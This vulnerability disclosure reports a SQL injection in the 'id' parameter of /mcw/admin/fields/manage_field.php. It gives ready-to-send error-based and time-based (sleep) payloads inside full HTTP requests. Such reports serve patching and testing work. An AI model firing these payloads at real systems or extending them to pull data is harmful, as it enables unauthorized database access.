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BUG_Author:Houguo Xi

Vulnerability File: /mcw/admin/fields/manage_field.php

GET parameter 'id' exists SQL injection vulnerability

Payload1:id=1' and (select 1 from(select count(*),concat(0x51525354,(select (elt(111=111,1))),0x66676869,floor(rand(0)*2))x from information_schema.plugins group by x)a) and 'm'='m

GET /mcw/admin/fields/manage_field.php?id=1%27%20and%20(select%201%20from(select%20count(*),concat(0x51525354,(select%20(elt(111=111,1))),0x66676869,floor(rand(0)*2))x%20from%20information_schema.plugins%20group%20by%20x)a)%20and%20%27m%27=%27m HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=jqeunca8s853cqfdr18lvheru5
Connection: close

Injection success based on errors

image

Payload2:id=1' and (select 2 from (select(sleep(15)))m) and 'a'='a

GET /mcw/admin/fields/manage_field.php?id=1%27%20and%20(select%202%20from%20(select(sleep(15)))m)%20and%20%27a%27=%27a HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=jqeunca8s853cqfdr18lvheru5
Connection: close

The response time of the server is 15 seconds

image